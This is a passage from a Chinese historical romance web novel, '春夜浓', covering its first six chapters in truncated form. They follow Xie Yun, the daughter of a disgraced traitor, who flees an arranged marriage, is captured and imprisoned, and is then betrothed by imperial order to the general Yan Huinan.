《春夜浓》 1. 金风玉露再相逢(1) 《春夜浓》全本免费阅读 《春夜浓》文/折枝鸟 2024.6.22晋江独家 @Lippmann_ 九月,青州地界。 凄风苦雨连天下了半月有余,满是凉意的秋风卷落一地黄叶。青州城外一处客栈内走入一男一女两人。 谢韵开口问:“老板,还有房间吗?” 青州地处大周和大梁两国的交界,两国交战期间,这附近战乱不断,兵匪相争,民不聊生,生活在此地的人免不了要谨慎度日。 因为谢韵戴着神秘的面纱不以真面目示人,身后又站着一位人高马大、面露凶色的……壮士,老板面上满是警惕的神色:“有的,房间还有很多。” 谢韵拿出银两放在柜台上,要了相邻的两间客房,又点了几道菜让人送到客房。 在大堂穿过时,恰逢几位食客在闲聊。 “这世道……两国交战不休,京城上头那些只管下令征兵打仗,最后苦的全是咱们老百姓。这青州我是待不下去了,迟早要打过来。” 另一人附和道:“我有表亲在京城做点小本买卖,我过一阵子也打算去投奔他了。” “京城是安逸的好地方。呵,当初若不是谢家老贼通敌叛国,害死了晏侯爷,梅州怎会失守?梅州若不失守,青州距离大梁都城遥遥几千里,万不会沦为战场。” “听说谢贼得了大梁不少好处,他卖国救了大梁皇子回去,摇身一变成了丞相,一家在大梁过得风生水起。他从前不过是大周五品小官,真是人不为己天诛地灭。” 两人一阵唏嘘。 “幸好有晏将军,十六岁便能让大梁名将节节败退,比起他爹晏侯爷真是有过之而无不及啊。听说从前的晏将军是京城纨绔之首,一事无成只会吃喝玩乐,想不到……果真是将门虎子。” “的确是将门虎子。但谁家子女在遭受父母双亡的重创之后,还能继续享乐呢?原本啊,晏将军是要一同被处死的,但他的母亲是皇帝的亲妹妹,皇帝念在他是皇家血脉才免他一死。偌大的晏家,现在就剩他一个啦……也是惨。” …… 谢韵忍不住身形一震,那些话仿佛耻辱鞭,一道一道地鞭笞在她身上。因为那两人口中的谢贼便是她的父亲谢青云。 当初谢青云将梅州的地形图出卖给大梁,又救了大梁养在大周的质子,携家眷一同偷渡到大梁,又害死了晏侯爷,才导致周军节节败退,接连丢城失地。通往京城的豁口一下被打开,京城险些失守。 听他们说晏将军,那一定是晏回南无疑了。 她只知前些年大周突然出了一名骁勇善战、战无不胜的将军,却不知那人竟是晏回南。 她记忆里的晏回南……还是那个咋咋唬唬的京城小霸王,整天跟在她的屁股后面,简直就是谢韵的跟屁虫,狗皮膏药一样甩都甩不掉。 因为谢韵忽然停住的脚步,飞镜轻拍了拍她的肩,提醒她该上楼休息了。 她这才从旧忆中抽出神来。 她这次逃婚,便做好了再也不回大梁的准备。当初谢青云携家眷向西潜逃时,途径江南,谢韵的母亲身染重疾,死在江南。 谢青云只着人随便找个地方将她母亲的尸首埋了,她这次逃婚选择回到大周其中一个目的便是回到江南,找到母亲的墓地,好好修缮一番,之后便在江南定居。 乱世中,只消更名改姓,改头换面开启新生活并不难。 但愿这次不要碰到故人。 尤其是晏回南。 青州是两国交战期间,唯一开放了通商交易关口的城池。与飞镜用过简陋的晚膳之后,她嘱咐道:“飞镜,你去探查一下,现下驻扎在青州的军队是哪一支,将领是谁?” 她之前不知晏回南便是那位有名的将军,现在既然知道了,为了保险起见还是能躲则躲,哪怕是落入李巍的手中都不会比落入晏回南的手中惨。 他一定恨透了自己。 - 傍晚又下起了雨,暴雨如天公挥毫泼墨般落下,直往窗内打。谢韵案前的烛火被风吹得乱舞,她起身去关窗。 忽闻楼下一阵吵闹,间或还能听见铁甲兵器相交的“铮铮”声,她一瞬间警觉起来。她走到门口悄悄打开一道缝试图往楼下看,但隔着走廊看不见楼下的情况。 按道理说她已经进入了青州地界,父亲和三皇子的追兵应该不会如此明目张胆地追捕她。 飞镜此时还未回来,她不能贸然离去,否则在这乱世她一个女子很难生存下去。她戴上面纱,打量走廊上无人经过,便猫着身子走出去看了一眼楼下的动静。 谢韵没听错,进来的正是兵士,但看这几人身上穿着,不是大梁将士的装扮。她悬着的心这才放下,只要不是捉她回去成婚的追兵便无事。 她回到客房内继续研究之后前往江南的路线。 谁知刚看了没多会儿,传来一阵急促的敲门声。听声音,除了她之外,整个客栈的房门都被敲响了。 “客栈中可有医师能治箭伤?若有能者,重重有赏!”门外的人大声喊着。 谢韵回忆她刚才看见的将士的装束,并非普通山匪,应当是大周将士。这客栈距离青州城仍有不短的距离,那些人应当是赶不回青州城又寻不到医师,才病急乱投医,在这荒郊野岭的破客栈里寻人。 但飞镜不在,谢韵不敢贸然开门。 敲门声愈发急促了,外面的人霸道地威胁:“门内之人速速开门,否则我们便要破门而入了。” 现下是非开不可了,这破木门应当是撑不住外面人几剑劈砍的。她若仍旧犹豫不决,反而更显得自己有嫌疑。 只好打开了门,跟随其他客人一同被赶到楼下,聚集在大堂内。 到了楼下才发现,这群人当中有一人受了相当严重的箭伤,那人的装束与周围人的装束皆不相同,应当是某个将领。 伤口伤在左胸上,谢韵目测这距离心脏非常近,射箭之人若是准头再准一些便能将他一箭毙命。再观其脖子周围的皮肤,隐隐泛青紫色,箭上应当有毒。 那位将领的手下在人群前来回踱步,又高声询问是否有医者,“如果有人能治好我们将军,必重重有赏。否则,在座的各位都得跟着陪葬。” 底下一片寂静。 重伤的那位将军强撑起一口气,喝退了凶神恶煞威胁众人的手下,急促地喘着气,虚弱地对众人说:“我乃……青州守将,张恪。因追击敌军至此……能力不佳,中了一箭,如果在座的各位有人略懂医术……可为我拔箭去毒,张恪必有重谢……若没有,想是命定我要亡……” “将军可否容我看一看伤势?” 谢韵的声音一出,周围人皆以一副难以置信的神情看向这位清瘦单薄的女子,张恪原本死寂的瞳孔中仿佛一瞬间被注入活水,清明起来。声音带着惊喜与感激,“万万拜托女医师了。” 谢韵略一福身,“将军还是不要说话了。我也不是女医师,只是略懂一些,治不治得了将军还未可知。但请将军放心,我会尽力。” “有劳,姑娘尽管治。无论如何,张恪都感激不尽。” 张恪屏退了剩余女眷,众目睽睽之下,谢韵用刀划开了张恪伤口周围的衣服,检查伤口之后她先用消毒后的刀刃帮他把箭拔了出来,又将毒 2. 金风玉露再相逢(2) 《春夜浓》全本免费阅读 伤者优先,谢韵无暇顾及其他人究竟有什么反应。她将全部心思都放在了为张恪治疗伤口上面。 在取药材的时间里,张恪身上的毒素已经蔓延开来,谢韵将原先临时敷在伤处的药材取下来,又和之前一样用淬过火的刀刃将被毒素侵袭的烂肉剜了出来。 待熬煮好的药材拿过来之后,她预备将药喂他服下。却被刚刚被她指使去打热水的人阻止了。 他示意身旁的人对药检查过之后,才让人喂给张恪。 谢韵自然知道他这是什么意思,面无表情地瞥了他一眼,没过多在意他对自己的提防,而是细致地嘱咐了之后要依照她给的方子抓药,外用的药如何用,内服的药如何煮,都一一交代清楚了。 最后才从容不迫道:“医者仁心,我虽不是医者,但好歹学过一点皮毛,我只会用自己的技艺救人,不会害你们将军的。” 昏暗光线中她看向那人,莫名觉得他周身满是肃杀之气,真叫她不寒而栗。一直到此刻脱离了危急关头之后,她才关注到此人: 他整个人仿佛都紧绷着,冷漠疏离的皮相之下藏着一个更深的内心。行伍之人,尤其是青州这战乱频出的地界,将士都杀过人,见过血,粗鄙野蛮,有杀伐之气是很常见的事情。 但眼前之人与之前叫嚣着威胁大家的人并不相同。他身姿挺拔,仪态端正,举止之间都透露出他必定是生长于富庶之家,想必是受到过良好的教养。 只可惜,也许是落魄的富贵子弟,现在只能在这危险的地方讨生活。 “这里并不在青州城内,还望姑娘谅解。”张恪强撑着病体向她致歉,“云姑娘救命之恩,张恪没齿难忘,如若姑娘有用得着张恪的地方,尽管开口。” 可算是点题了! 谢韵和飞镜此刻的处境艰难,她只想尽快离开青州城,也毫不客气:“还请将军给我两匹好马与一些盘缠,让我与同伴离开青州。” 张恪正要开口。 谁知一直沉默不语的男人开口道:“云姑娘要去哪?若是顺路,我可一道带你去,也安全些。” 谢韵:“张将军,你们军营里你说话算不得数么?” “算啊。” 谢韵:“那为何我与你说话,你的手下插嘴?” 她说完,似乎觉得那人轻笑了一声。但他一直站在墙壁的阴影处,她看不分明他的神情。 张恪解释道:“云姑娘误会了,此人乃是我大周的镇国大将军——晏回南。在下不过无名小卒,万万不敢让他给我做手下的。” 那一瞬间,谢韵觉得自己浑身的血液都冷了,后背有无数只白蚁攀爬撕咬。她耳畔一片死寂,什么声音都听不进去,身体也仿佛被抛进了无底洞,心脏持续往下坠,几乎要窒息了。 她眼前站着的哪是人,分明是阎王。 天光较之刚才又亮了一些,她的视线已经适应了此刻的光源,能看清眼前人的面孔了。 那不是晏回南还能是谁? 只是时隔多年,晏回南与幼时有了许多变化。 褪去了青涩稚气,曾经稍显圆润的脸此刻也仿佛被残酷的岁月刻画雕琢出了分明凌厉的棱角;从前圆溜溜总是追着她的眼睛,也变得狭长冷漠,眸中满是戾气。 她从前从未正视过的虎头虎脑的京城小霸王,此刻只是凛然淡漠地站在她的面前,带着打量的目光看着她,就仿佛将她钉死在原地,逼得她不得不看向他。 她戴着面纱,声音也与少女时期有了变化。他应该没认出她,否则一定不会是这幅平安祥和的场景。 晏回南向来是睚眦必报的人。从前只是有人捉弄谢韵,将她吓得掉了几滴眼泪。晏回南便连着一个月日日去那人家中,拿他当沙包一样练拳。 全京城没人管得了他。 谢韵惊恐万分,不禁颤抖。她只好用力掐自己的掌心,逼着自己恢复冷静,不要露出破绽:“失礼,民女眼拙,竟没认出将军来。既然是晏将军,那民女更加不敢麻烦,我与同伴自行离开即可。” 晏回南却一抬手,不容置喙道:“不麻烦。姑娘只消说自己要去哪,我再做定夺。” 谢韵再推辞下去,就显得有问题了。她既然想避开晏回南,就不能说自己的真实目的地,所以她随便说了一个地方。 谁知晏回南想也不想便说:“顺路。” 她说的可是岭南!那地方沿海,但一片贫瘠,说荒郊野岭都不为过!更是与大梁相去甚远,晏回南将军的业务也包括清剿海贼吗? 她不会真的要跟着晏回南去岭南吧?这怎么可能? 晏回南却话锋一转:“但我在青州尚有事情未了,可能需要姑娘在青州住上一些时日。而且上一个军医不幸死了,军中正需云姑娘这样的人才。” 谢韵这才明白晏回南真正的目的。他根本没打算放她走。 青州如今是周梁交界,而她又如此熟悉大梁特有的毒草与解毒方子,晏回南怎么可能不怀疑她?原本以为只要救了张恪就能脱离虎口了,没想到现在是羊入虎口。 所以此刻无论她是不是谢韵,在晏回南眼中她都是一个可疑之人。 晏回南恨谢韵,更恨大梁人。 - 次日,谢韵和飞镜被迫和晏回南同行。 谢韵在队伍中听将士说,药材是晏回南提前拿过来的,所以才会到得如此快。 这更加证实了她的猜想。晏回南应当是收到了有关新毒药的消息,才会提前做了准备。 那么他就更不会放走自己了。 果然,晏回南派人先将张恪送了回去,却留谢韵和飞镜跟在身边。美名其曰派人照顾,实则监视。 午时,走了一上午的众人临着小溪边休息,生火做饭。行了这么久的路,谢韵也发现了晏回南似乎是在寻人,应当是在找敌军的踪迹。 因为他全然没有返回青州城的打算,而是往反方向越走越远。但奇怪的是,他留了一部分兵在先前的客栈,并且现在走的路线,正是往她与飞镜上一个经过的歇脚处方向。 但不论他的目的是什么,照这样找下去,若是碰到梁军,她同样危险。 谢韵趁着周围无人,给飞镜打手语:我逃婚时用的迷药还剩一些,待会儿你寻个机会把药下到汤里。待他们被迷晕之后,我们便骑马逃跑……还有,晏回南的马我要了。 她早就看中了晏回南的那匹马,通体黑色,目光炯炯有神,皮毛泛着晶亮的光泽,身形精壮有力,是匹极好的马! 飞镜听话地点点头。小姐的计划一定可行! 飞镜依照谢韵的意思想寻个无人的时机去锅附近下药,但是锅旁边竟然一直有人,围坐了一圈像一群饿了好几日的狼一样,无数道目光一动也不动地盯着锅。连一只苍蝇都飞不进去。 有人见飞镜过去,甚至热情地拉住他这个哑巴开始聊天。急得飞镜手足无措,就差手舞足蹈了,汗都出来了。最后只好连连摆手地跑开。 谢韵也意识到了这样的确行不通,他们跟随晏回南多年,能将大梁名将都打得节节败退,不至于一点防备心都没有,更何况现在晏回南已经怀疑她了。 只能另想法子,入夜之后也许会有机会。 只是尚未等到入夜,他们的队伍便遭到了猛烈的突然袭击。 晏回南却对此似乎早有应对之策,将士们自从两国交战开始, 3. 金风玉露再相逢(3) 《春夜浓》全本免费阅读 楼承就是为她而来,谢韵知道自己从小运气便不好,投胎的技术也不太行。托生成谢青云的庶女,从小便受尽冷待欺负,但想不到逃婚的运气也如此不好。 不仅被未婚夫捉到,还好巧不巧碰上了晏回南。现在她伸头是一刀,缩头也是一刀,腹背受敌。 一年前,谢韵刚及笄,谢青云便将她许给了大梁的皇三子楼承。楼承的生母不受宠,他也是众多皇子当中最不受宠的。否则当初选质子送往大周,也不会选到他头上。 大梁朝廷中无人看好这个落魄皇子,但只有谢青云看好他。他亲手将这个皇子从大周带回大梁的那一刻,便决定好了要依傍着这个皇子一步一步往上爬。 原本这门谢青云最看好的亲事是轮不到谢韵的。 但楼承亲自开口向谢家求亲,谢青云才答应。 其实只有谢韵知道,这不过是谢青云欲擒故纵的一招棋。他早知楼承对谢韵有意,所以故意吊着楼承。 这正应了谢青云带谢韵离开大周时,他说的那句:不动声色便将不可一世的晏回南迷得五迷三道的,女儿啊,这是你的本事。但你的价值远不止于此。 谢韵的母亲是教坊司中姿色、技艺都最出众的乐工。后看中了颇有才情但本心凉薄的谢青云,生下谢韵与谢润姐弟两个。 谢韵遗传了母亲姣好的面容,幼年时便如一朵娇俏可爱的迎春花,明媚活泼。京中五陵年少以晏回南为首,都爱逗她玩。后出落得越发伶俐眉毛。 婉约动人的柳叶眉,秋波流转的丹凤眼,眼角一颗楚楚动人的小痣,如远峰一般挺立精致的鼻梁,深邃的五官让人挪不开眼。盈盈一握的细腰总是有着惹人怜爱的魅力。 可偏偏谢韵一身清冷傲骨,多情目硬生生被她清冷的性情压一头。自幼便博览群书,后来爱学的东西更是越发多了。 这样的她不愿成为父亲的棋子,她只想做自己人生的执棋人。 可是谢韵努力了这么久,设想了那么久的生活尚未开始,她难道就要死在晏回南的长枪之下了吗? 生死面前,谢韵的心脏几乎要蹦出嗓子眼了。 从前都是她一脸不耐地让晏回南滚,耍他。可现在什么都反过来了。 “晏将军,可否看在往日的情分上,先把枪收回去?”谢韵骄傲但不傻啊,死到临头了,对晏回南低头一次并不丢人。 晏回南面无表情:“往日什么情分?” 谢韵努力在脑海里挖掘了一番,不确定地开口:“看在……我7岁那年帮你罚抄过三字经……8岁那年帮你保密你掉进水里的事情的情分?” 说完她抬手轻轻敲了敲长枪,轻声道:“求……求求你了?” 在场听到了谢韵声音的将士顿时石化当场。 头一次听到有人对晏回南如此说话,这样不正经!这简直是荒唐!晏将军怎么会答应这种无理的请求? “行。” ? 晏回南说到做到,真的把枪收了回去。众人瞠目结舌,就差把下巴掉到地上了。这比亲眼目睹晏回南杀人还要令人震惊。 直到晏回南的枪被收回去,谢韵才彻底松了一口气。背后冷汗顺着脊背一道一道滴落,在她背后走了长长一段路,才被衣物吸收。 她这时才后知后觉地感觉到左边脸颊的刺痛。她抬手擦掉了滑落的血。 但晏回南显然没有真的要放过谢韵的意思,仍旧让人扣住她和飞镜。楼承见状对晏回南喊话:“晏回南,我知道你是个聪明人,你们现在已经进入我大梁的地界。我劝你现在速速放了谢韵,否则我可以轻易让人将你杀了。” 晏回南的表情却十分轻松,丝毫没有被楼承的话威胁到。 “楼承,我也奉劝你一句,若不想你带来的这些人全部葬送在此地。还是不要妄图带走谢韵。毕竟她于你而言是未婚妻,于我大周而言确实罪臣之女。” 谢韵惊讶,晏回南远在异国,怎么会知道她是楼承的未婚妻? 他是什么时候探查到的?可是他先前的反应,绝对不是已经认出她的样子。 楼承已经追了一路,不愿就此放弃。他不相信自己带的几千精兵会不敌晏回南这区区数百人。 晏回南只是让自己的亲兵将谢韵和飞镜带回青州,他和剩下的人面对楼承的几千敌军。 - 深秋,京城大理寺地牢。 谢韵被晏回南从青州带回京城,刚一入京,她便被押送到大理寺这里来。 如今已经关了十几日了,这十几日里,每日她只能吃到已经馊了的剩饭剩菜,受尽刑罚。 她也是回到大周才知道如今的皇帝是宋鸿煊。从前他便是处处都被晏回南压一头的娇气太子。 只因母妃是皇后,在先帝驾崩后,他理所应当继承皇位。 但他的不幸有一部分也源于谢家。当初梅州失守,晏家遭受重创,骁勇善战的将军不是在驻地守关,就是被派去梅州迎敌。 殊不知当时的大周腹背受敌,北夷人听闻晏侯爷亡故,不久后大周帝新丧,大周被大梁缠得焦头烂额,便趁火打劫,自大周的后方南下攻入,险些便一举攻下京城。 宋鸿煊刚即位不久便遭此难,他现如今绝不会轻饶谢韵的。 “晏回南呢?他不在我一个字都不会说。”谢韵强撑着一口气问正坐在她对面的喻霰,从前的喻小王爷,如今的大理寺卿。 她在牢里受尽折磨,浑身是伤。喻霰得了皇帝的令,只用最折磨人的刑罚,暂时不要她的命。 妄图从她口中得到大梁的机密。 可她也不过是任人宰割的棋子,她能有什么机密可让他探听的? 喻霰自幼便是一副不近人情的死人脸样子,这么多年依旧没变,不过是从小号的死人脸,变成了大号的。 他耐着性子说:“你说与不说,皇上都会要你的命。” 谢韵听到他说话,竟有种恍如隔世的感觉。许多年都不曾见这些故人,这趟回京,见到的个个是熟面孔。 真是无情,我小时候可帮你在卢龄玉姐姐面前说过好话呢。谢韵如是想着,只是她没力气说。 纵使是冷酷如喻霰,但他再次开口时,眼中仍有一闪而过的仇恨与悲痛:“而且你怎么敢再提晏回南?若不是你父亲,他怎么会家破人亡?” 这一句话仿佛又一记利刃,深深刺入谢韵的心口,杀人诛心便是这样的滋味 4. 故人旧约结新婚(1) 《春夜浓》全本免费阅读 谢韵醒来时,她正被晏回南抱在怀里一步一步走出昏暗的大理寺监牢。 她依稀记得自己在因刑罚而疼晕过去之前,听到了皇帝的口谕。待她病养好之后,择日与晏回南成婚。 “择日成婚是什么意思?”她没明白,自己怎么突然要被嫁给晏回南了。 她浑身是血,四肢冰冷,环在晏回南脖颈上的手能感受到他炽热的体温。可是他板着脸,说出来的话也是不含任何温度与感情的:“字面意思。” 谢韵:“为何我要嫁你?” 晏回南以高高在上的姿态:“你不是求我救你么?” 他的意思是,这就是救你了,你该谢谢我才是。 他的确是救谢韵离开了大理寺,但谢韵此刻的意识是清明的,她离开大梁就是不愿嫁给自己不愿嫁的人,她想去江南修缮母亲的坟,过自由的生活。 现在因为晏回南,她又如同囚鸟一般被囚禁住了,她先前所做的一切都成为了虚幻泡影。这一次还是一个人人都可以对她喊打喊杀的地方。 她虚弱得说话都费力,但她还是忍不住愤怒地说,声音是哑的,是用尽全力才能说出来的话:“晏回南,你别以为自己多高尚。如果不是你,我早就远走高飞了。” “是吗?但是谢韵,你没资格跟我说如果。”晏回南没有继续说下去,因为他要说的事,他们都早已心知肚明。如果不是谢青云,大周也许会因为皇帝昏庸而覆灭,但至少晏回南的父母不会死。 所以最没有资格跟晏回南谈如果的人,就是谢韵。 谢韵哑口无言。她纵使有一百张嘴可以辩驳,却也无法在晏回南面前说出“人不是我杀的”这种话。那太残忍了。 “我不杀伯仁,伯仁却因我而死。”这句话用在她身上并不准确,可她是谢家人的事实是永远无法改变的。 她闭上嘴也闭上眼睛,轻轻依靠在晏回南怀里,想要寻一处舒服的地方。但无奈他每走动一步,她身上的伤口就更疼一分。 晏回南也丝毫没有要减缓步子的意思,他似乎用尽一切办法故意要让她感受到疼痛。 刚出大理寺,晏回南就随手将她放在了马车上,就那么让她靠着。谢韵也是嘴硬,硬是一声不吭。 谢韵问:“飞镜呢?” “你的那条哑巴狗?杀了。”晏回南说这话时,就好像他只是捏死了一直蚂蚁一般轻松。 什么? 凭什么?为什么一条人命可以随便被这样磨灭。 谢韵现在不仅仅是身上的疼,还有心口的钝痛。飞镜是她和谢润一起在外面捡回来的,因为被人喂了毒药才成了哑巴,但最为忠厚老实。 如果不是她为了自己的幸福而出逃,飞镜也不会跟出来保护她。她现在苟活着,飞镜却因为自己而亡。 他不该是这样的结局。 “晏回南,你不是人!”她此刻什么都顾不得了,哑着声音怒骂晏回南。 只是这样的话用在晏回南身上毫无效果,他听了谢韵的谩骂根本连眼皮都没有抬一下。 “他的尸体呢?”谢韵强撑着病体想要推开马车,这里面简直令人窒息。她就算是摔死,也不要和晏回南待在同一个空间。 只是她此刻所做只能是徒劳,晏回南强硬地把她拉到自己身边,逼迫她看着自己。 谢韵第一次怀着满心的恐惧直视晏回南。晏回南对她现在这幅神情很满意,他抬手勾了勾她鬓边的发,“扔乱葬岗了。如果想去给他收尸,你最好老实点。” - 谢韵出来时遍体鳞伤,在一处荒废的园子里养了将近半年才好得七七八八。这段日子里,她再没见过晏回南。 春三月,淫雨霏霏。好不容易有个放晴的日子,丫鬟寒真搀扶着走路还有些跛的谢韵去园子里散心。 “这废园子是什么地方?”谢韵随口一问。 寒真惊诧不已,连忙为她解释:“小姐,这里不是废园。这是将军府啊!” 将军府? 谢韵四望一圈,春天正是草木茂盛时节,这园子里野草丛生,原有的杏树桃树被野草夺去了养分,像是缺衣少食的瘦弱鬼,可怜兮兮地在半人高的草丛中开着小花。 将军府怎么会是这幅破败不堪的景象?即便是谢青云带她潜逃的路上,在江南小住的府邸也是经过精心打理的。 晏回南堂堂镇国将军,竟然住这样的府邸? “你们将军也不说么?好歹让人除除草啊。”谢韵说。 寒真:“小姐有所不知,这府邸是皇帝御赐,好是极好的。只是将军常年在外征战,一两年都不一定回来住。况且晏将军没有亲人兄弟,府邸中常年无人打理,只有些老奴仆在这住着。偌大的园子没人住,打理起来费财费时又费力。便一直无人管。将军去年秋天回来之后,也只在自己的院子里住着,有时忙得饭都顾不上吃,更别提来这花园里闲逛了。下人们见将军不斥责,也就偷懒不管了。” 谢韵只点点头,“原来如此。” 一想到自己将来要在这里生活,她的心中便五味杂陈。不过她也算听到了有用的消息。 晏回南若外出带兵打仗,也许是她逃跑的好时机。 她笃定了心思,千万不能让晏回南知道自己要去江南。他如果知道母亲葬在那,不知道会做出什么事情来。 只是现在没了飞镜,她孤身一人,只能智取。 寒真以为谢韵对院子的事情上了心,接着说:“不过之后就好啦,等小姐与将军成婚后,家中有了女主人就不一样了。小姐如此聪慧,一定能将府上事务打理得井井有条。” 谢韵笑,寒真今年刚14。比她小了3岁,还是个天真烂漫的小孩子。她也许并不知道谢韵究竟是谁。 否则定然会像其他人一样痛恨她。 “你怎知我聪慧?我很笨的,管家之道从未学过。”难得今天天气好,谢韵有点心思同寒真开玩笑。 寒真天真地夸赞:“小姐一看就是有钱人家的小姐,我只看你的眼睛就知道,你比寒真要聪明,你一定懂得许多东西。” 谢韵开怀笑了出来。她很喜欢寒真这样可爱纯真的女孩子,和从前的自己有些像,“将来闲来无事时,我教你写字可好?” 反正她总归是要被囚禁在这里一段时间的。她养伤的那段日子里,寒真真心实意地照顾她,她都看在眼里。 “真的吗?”寒真的眼睛顿时放出光芒来,但旋即又灭了下去,“可我只是个丫鬟,即便识字又能如何。还是不劳烦小姐了。” 谢韵比寒真略高一点,她抬手轻轻弹了一下寒真的额头,“傻丫头,当然有用。识字便能写信看书,能看到不同的世界。即便你足不出户,你也能见识到外面的天地。相信我!” 寒真猛烈地点点头,“好!我也想像小姐一样,识字知礼。小姐,你能给我说说书 5. 故人旧约结新婚(2) 《春夜浓》全本免费阅读 谢韵惊喜地看着来人,“飞镜!” 飞镜三两下便将这几位宫女收拾了,随手扯了旁边的布料,将他们尽数绑在了桌腿上。 寒真紧跟着闯进来,外面的人已经被飞镜解决了。她早听到屋里不正常的动静了,却只能在外面急得跳脚。 “小姐,你没事吧?”寒真之前从未经历过这样的事情,她是第一次服侍人。此刻她已经被吓得满面泪痕。 谢韵身上疼死了,没一块好肉,她现在穿着衣服看不见伤口,但不用想都知道一定是满身的针眼。 她冷汗如雨下,脸色发白,寒真见此场景颤抖着双手不知该如何是好。 谢韵反倒是握住她的手,轻拍拍让她宽心:“不用怕,先……帮我把针取出来。” 寒真哭得崩溃,胡乱地抹泪点头。怕伤到谢韵,所以动作格外小心翼翼。针抽出来的时候手不能抖,否则稍微抖一点,针尖就会在她的肉里搅动一翻,更疼。 好在寒真心思细腻,手也稳,不一会儿就帮她把针都取了出来。 飞镜眼睛根本不敢往谢韵身上看,把那几人收拾完了之后,便逃一般地纵身一跃翻出了窗户,在屋外候着。 谢韵急着问飞镜这半年究竟去了哪里,匆忙让寒真替自己换好衣服,去了门外。 “飞镜,你还活着!真是太好了!”谢韵激动地走过去,“晏回南跟我说他把你杀了,你究竟是如何逃脱的?” 飞镜的神情微变,迟疑着给她打手语:……其实,那天我在马车外。你和晏回南说的话我都听到了,但我说不出话。 真是,太为难哑巴了。 “那之后呢?”谢韵不放心地问。晏回南虽然咱们没有对她怎么样,但是他一定不会如此轻易就放过飞镜。 果不其然,飞镜说:我当时也受了点伤,之后被带去了水牢关了几个月。晏回南问了我关于谢大人和大梁的许多事情。 “那你怎么说的?” 飞镜:我知道的都说了。 …… 谢韵一时之间竟有些哑口无言,不知该夸他聪明、能屈能伸还是该骂他没原则。但谢韵转念一想,如果是她,她可能也会毫不犹豫地和盘托出。 不得不承认,人心本就是偏的。大周在她心目中,自始至终都是她唯一的归处。弟弟谢润也是和她一样的想法。所以如果说她在大梁还有什么留念与软肋,就只有谢润了。 但谢韵对于大周的留念太多。 飞镜继续说:但他问的关于小姐你的事情我没说。之后晏回南就没再过来了,我一直到前几日伤养好才逃出来。这几日一直暗中保护小姐。 谢韵点头对他的举动表示肯定:“你做得很对。” 她这时候才放心去处理尚服局宫女的事情,闾丘听应当是得了谁的令。她既然跑了,谢韵现在治不了她,日后她也绝对跑不掉。 因为谢韵是一个比晏回南还要睚眦必报的人。 她不主动犯人是她有教养,她大度,但如果有人犯她,她一定会加倍报复回去,不论用什么方法。那个时候就不要指望她还有什么教养礼仪了。 她忍着疼,转身进屋时已然换上了一副笑面虎的面孔,她和和气气地坐下,皮笑肉不笑对这几个人说:“说吧,是谁授意你们的?” 剩下的这几个人不知是得了谁的令,全然有恃无恐:“无人授意。” “那为何要如此做?”寒真愤怒地逼问。 “罪臣之女,本该被千刀万剐,现下不过是用针扎了你,这都算轻了。你竟然还敢如此趾高气昂地质问我们?谢家是全大周的罪人!你罪该万死!无需任何人指使,只要知道你是谢韵,我们便恨透了你。” 话音刚落,寒真便被气得浑身颤抖,冲上前去狠狠抽了那人一巴掌:“你伤了未来的将军夫人,若是晏将军知道了,必然不会轻饶你,竟然还在这里嘴硬!” 谢韵心中感念寒真如此为自己出气。她原本还在为此人的愚蠢与无知而生气,但有了寒真这一巴掌,她已经全然不再生气了。 全然不了解谢韵,就如此主观臆断的蠢货,谢韵根本无需为她生气。并不值得。 她拍拍寒真,让她站去一边。 亲手揍人的事情,谢韵小时候没少干。所以报仇这种事还是亲自来比较爽。 谢韵在众多的针当中,挑了几根又长又尖锐的,分散捏在手上,慢悠悠地走到刚刚说话出头的那人面前蹲下:“飞镜,按住她,别让她乱动。” 飞镜的力气极大,徒手扳倒一匹巨马都不在话下,更何况眼前这个一看就毫无力量的女人。按住之后,那人无论如何挣扎都动弹不得一点。 “谢韵,你要做什么?我是尚服局掌衣,官居正八品,你怎么敢打朝廷官员?!” 谢韵若有所思地点点头,“哦~八品官。但你既然知道我叫谢韵,那你可知京城最不能惹的人便是谢韵啊?” 虽然是曾经了。但这时候拿来吓唬吓唬她们也好。出门在外,身份是自己给的。狐假虎威的事情谢韵从没少干。 “什么?”掌衣显然一脸懵。看她的年纪只比谢韵大了几岁的样子,应当是进宫为官时间并不久。自然是不会知道从前的事。 不过没关系。 “告诉你一个秘密,我最嚣张的那一年,当今圣上也是打过的。”谢韵脸上的笑意不减反增,“你只知我现在落魄,可几个月后我仍旧是名正言顺的晏夫人,区区八品官,我并不放在眼里。” “晏将军忠君爱国,怎么可能任由你放肆?啊!好疼!” 她的话还没来得及说完,谢韵手中的针就已经毫不留情地扎进了她脖子裸露出来的肌肤,“你也知道疼啊?我以为你不知道呢。” 说着,她也学着刚刚她们的手法,用针尖在她的皮下挑了起来。她不禁挑起来,并且照着她血液流经的静脉方向搅过去。 “原来你扎人的时候是这么爽的感觉。”谢韵道。 即便是极细的针,只要找到对的经脉,也能起到放血的效果。 谢韵找到一根粗一些的血管,用另一根针猛得一下扎进去,针尖在里面搅动一番,顿时掌衣的脖颈处便被血浸染了一大片红。吓得旁边的几人大惊失色。 “啊啊!谢韵,你等着,公主不会轻易放过你……” 糟糕!掌衣立即闭了嘴,她刚刚疼的失了理智,竟然把公主搬出来威慑她。 6. 故人旧约结新婚(3) 《春夜浓》全本免费阅读 谢韵本就没指望他信自己,现在晏回南目睹自己伤害朝廷官员,只不过是把自己在晏回南心中的罪又添了一条罢了。 只是她没办法忽略身上阵阵发作的刺痛。而她身边此刻只有寒真和飞镜。 但是晏回南下一秒说出的话让谢韵沉不住气了,只听他冷冷地说:“司文,我什么时候允许这条哑狗出来了?” 飞镜是自己逃出来的。他的伤本就尚未好全,司文一声令下,几个护卫一同上前,看准了飞镜的旧伤打,很快就将其制服跪倒在地。 闾掌衣见晏回南有站在她们这边的意思,连忙追问:“那谢小姐……若是之后皇后娘娘问起宫人的伤势,下官应当如何作答?” 晏回南冷冷地瞥了她一眼,“你倒是可以说人是在我府中伤的。” 掌衣闻言立刻惶恐改口:“下官不敢。” 她怎么敢说人是在将军府受的伤,就算说了,皇后不仅不会管,甚至会深究究竟发生了什么事,以至于在将军府受了伤。 晏回南只是现在没查,只要一查就能发现谢韵身上的伤口。那她们到时候就惨了。 她忘记了眼前站着的是一个连皇帝在他面前都要让三分的男人,她竟然妄图搬出皇后来威胁他。 “既然知道如何答,还不滚?”站在一旁的司文喝退了这群碍手碍脚的人。 人都走光之后,屋子里便只剩下晏回南和谢韵。 刚刚的打斗过程中,飞镜的旧伤撕裂,玄色的衣袍都被浸湿后贴在身体上。但他就那么被司文毫不斯文地带走了。 